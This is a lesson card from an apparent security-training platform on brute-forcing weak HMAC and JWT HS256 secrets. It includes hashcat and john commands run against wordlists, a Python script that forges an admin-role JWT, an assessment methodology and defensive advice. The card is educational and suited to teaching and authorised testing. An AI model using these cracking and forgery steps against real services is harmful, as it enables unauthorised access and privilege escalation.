Browse CTFs New CTF Sign in

HMAC secret brute force

crypto_tokens_protocols Difficulty 1–5 30 min certifiable

Theory

Why This Matters

HMAC-based authentication tokens — including HS256-signed JWTs, API request signatures, and webhook validation tokens — derive their security entirely from the secrecy and strength of the underlying key. Weak HMAC secrets have led to significant security failures: researchers routinely demonstrate offline recovery of HS256 JWT secrets from public GitHub repositories where keys like secret, password, or changeme were committed, and platforms including Shopify and Slack have issued security advisories about insufficient webhook HMAC secret strength. Once an HMAC secret is recovered, every token signed with that secret is forgeable — giving an attacker complete control over any data the token was designed to authenticate.

Core Concept

HMAC (Hash-based Message Authentication Code) is a construction that combines a cryptographic hash function with a secret key to produce a fixed-length authentication tag: HMAC(key, message) = H((key ⊕ opad) || H((key ⊕ ipad) || message)). The security property is that the tag is computationally infeasible to forge without knowing the key, and that the tag uniquely authenticates both the message and the key. HMAC-SHA256 produces a 256-bit tag.

The key secrecy requirement is absolute: HMAC provides no security if the key is known. The attacker's precondition for an offline brute-force attack is possession of at least one known plaintext–MAC pair — a message whose content is known and the corresponding HMAC tag computed by the server. This is trivially satisfied when the attacker can obtain a signed token they created themselves (logging in with a legitimate account, or receiving a signed API response). With this pair, the attacker can test candidate keys offline: compute HMAC(candidate_key, known_message) and compare against the observed tag. If they match, the candidate key is correct.

JWT HS256 is the most common concrete instance: the JWT header and payload are the known plaintext, the signature field is the observed HMAC-SHA256 tag, and the verification key is the secret to be recovered. Because JWT parsing and HMAC verification are standard library operations, GPU-accelerated cracking tools can test millions of candidate keys per second against a JWT.

Hashcat mode 1450 (HMAC-SHA256, key = password) directly addresses this: the hash field is the expected HMAC-SHA256 tag in hex, and the salt field is the known message. Once the key is recovered, the attacker can craft any message and compute a valid HMAC for it, producing a forged MAC that the server will accept as authentic.

The key strength requirement for HMAC-SHA256 security is that the key must have at least 256 bits of entropy from a CSPRNG. A key shorter than the hash output length (32 bytes for SHA256) or derived from a dictionary word provides no computational security against offline attack.

Technical Deep-Dive

Extracting a JWT and cracking the HS256 secret:

# JWT received after login (split at dots for readability):
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
# .eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9
# .4Twb_abc123signature

JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWxpY2UiLCJyb2xlIjoidXNlciJ9.4Twb_abc123signature"

# Method 1: hashcat mode 16500 (JWT HS256/384/512)
hashcat -m 16500 -a 0 
  "$JWT" 
  /usr/share/wordlists/rockyou.txt 
  --show

# Method 2: john the ripper with jwt2john
python3 jwt2john.py "$JWT" > jwt.hash
john --wordlist=/usr/share/wordlists/rockyou.txt jwt.hash

For non-JWT HMAC-SHA256 tokens (known plaintext + MAC pair):

# Format for hashcat mode 1450: hash:salt (where salt = message, hash = HMAC)
# Example: API request signed with HMAC-SHA256
# Message (known): "GET
/api/user/1
1712345678"
# Observed HMAC: a3b4c5d6e7f8...

echo "a3b4c5d6e7f8[full_hex_mac]:GET
/api/user/1
1712345678" > hmac.hash
hashcat -m 1450 -a 0 hmac.hash /usr/share/wordlists/rockyou.txt

Forging a new MAC once the secret is recovered:

import hmac
import hashlib
import base64
import json

secret = b"mysecret"  # recovered key

# Forge a new JWT payload with elevated privileges
header = base64.urlsafe_b64encode(b'{"alg":"HS256","typ":"JWT"}').rstrip(b'=')
payload = base64.urlsafe_b64encode(
    json.dumps({"user": "alice", "role": "admin"}).encode()
).rstrip(b'=')

signing_input = header + b'.' + payload
signature = hmac.new(secret, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=')

forged_jwt = (signing_input + b'.' + sig_b64).decode()
print(forged_jwt)

Security Assessment Methodology

  1. Identify HMAC-authenticated tokens — Look for JWTs with alg: HS256/HS384/HS512, API request signatures in headers (X-Signature, X-Hub-Signature, Authorization: HMAC), and cookie values that include a dot-separated signature component.
  2. Extract a known plaintext–MAC pair — Log in or make an authenticated API request to obtain a signed token. For JWTs, the first two dot-separated segments (header.payload) are the plaintext; the third is the HMAC tag.
  3. Attempt offline brute-force — Run hashcat -m 16500 (JWT) or -m 1450 (raw HMAC-SHA256) against the rockyou.txt wordlist. Add rules (-r best64.rule) and extend to targeted wordlists based on the application name and technology stack.
  4. Test common default keys — Before full wordlist attack, manually test: secret, password, changeme, the application name, the domain name, development, prod. Many CI/CD deployments expose the key in environment variable names visible in error pages.
  5. Forge and verify a modified token — Using the recovered key, construct a token with a modified payload (e.g., escalate role to admin). Submit it to the application. Successful acceptance with elevated privileges is the proof of exploitability.
  6. Check key rotation and multi-key support — Some applications support key rotation with a key ID. Test whether old keys remain valid after rotation events.

Defensive Countermeasure — Generate HMAC secrets using a CSPRNG producing a minimum of 256 bits of entropy, store them exclusively in secret management systems (HashiCorp Vault, AWS Secrets Manager) with audit logging, rotate them on a scheduled basis, and use RS256 or ES256 (asymmetric) for JWTs in any context where the signing key must be distributed to multiple services — asymmetric schemes cannot be brute-forced from a public verification key alone.

Common Assessment Errors

  • Testing only the JWT happy path — Verifying that a valid JWT is accepted is not a security test. The test is whether a JWT signed with a guessable key can be forged.
  • Using rockyou.txt without rules — The rockyou.txt list alone misses common key patterns like secret123, app_secret, and camelCase variants. Always add at least the best64 ruleset.
  • Not testing application-specific keywords — HMAC keys derived from the application name, domain, or technology stack (e.g., flask, django-secret, the organisation name) are common and should be in the custom wordlist.
  • Forgetting the alg:none pre-check — Before attempting brute-force, always test the algorithm:none bypass (Card 10). If the server accepts unsigned tokens, key recovery is irrelevant and the severity is higher.
  • Treating a long key as automatically secure — A 40-character key composed of dictionary words joined by underscores (my_application_jwt_secret_key_value) may have low entropy despite its length. Entropy depends on the generation method, not the character count.
  • Not testing key reuse across environments — Developers frequently copy keys from development to production. If a development JWT secret is exposed (e.g., in a public repository), test it against the production environment before concluding it is a low-severity finding.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0007 Knowledge of authentication, authorisation, and access control methods Explains the cryptographic foundation of HMAC authentication and the key strength requirements for its security
K0065 Knowledge of policy-based and role-based access controls Demonstrates how HMAC key recovery enables forging tokens with arbitrary role claims
S0001 Skill in conducting vulnerability scans and recognising vulnerabilities in security systems Develops hashcat HMAC cracking skills with correct mode selection and wordlist strategy
T0028 Conduct and/or support authorised penetration testing on enterprise network assets Provides a complete HMAC security assessment from token identification through key recovery and forgery proof

Further Reading

  • RFC 2104: HMAC: Keyed-Hashing for Message Authentication — Krawczyk, Bellare, Canetti (IETF)
  • JWT Security Best Practices — IETF RFC 8725
  • Cracking JWT Secrets with Hashcat and John — Portswigger Web Security Academy (JWT attacks module)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.